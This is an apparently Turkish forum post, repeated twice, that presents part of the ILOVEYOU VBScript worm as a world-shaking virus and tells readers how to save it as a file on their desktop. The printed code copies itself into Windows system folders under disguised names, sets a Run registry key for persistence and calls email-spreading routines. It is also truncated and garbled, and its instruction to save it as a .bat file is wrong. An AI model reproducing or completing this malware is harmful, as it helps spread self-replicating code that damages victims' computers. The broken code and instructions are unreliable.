BU DÜNYAYI SALLAYAN Bİ VİRÜS.EN BAŞTAN SÖYLİYEYİM KENDİ PC'NİZDE SAKIN
DENEMEYİN PC'NİZ AÇILMAZ.AÇILMADIĞI GİBİ FORMAT ATTIRMANIZ LAZIM
HADİFORMAT ATTINIZ.ATIKTAN SONRA BAKIN NE SORUNLAR ÇIKIYOR ***KODLAR
AŞAGIDA***.[
rem delete -pcas(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
sımdı
arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle
yapacaksın not defterını acıyorsun buradakı kodları oraya
yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune
(örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve
masaustunde vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız
ılk vırus dosyası da budur...!!!
DENEMEYİN PC'NİZ AÇILMAZ.AÇILMADIĞI GİBİ FORMAT ATTIRMANIZ LAZIM
HADİFORMAT ATTINIZ.ATIKTAN SONRA BAKIN NE SORUNLAR ÇIKIYOR ***KODLAR
AŞAGIDA***.[
rem delete -pcas(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
sımdı
arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle
yapacaksın not defterını acıyorsun buradakı kodları oraya
yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune
(örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve
masaustunde vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız
ılk vırus dosyası da budur...!!!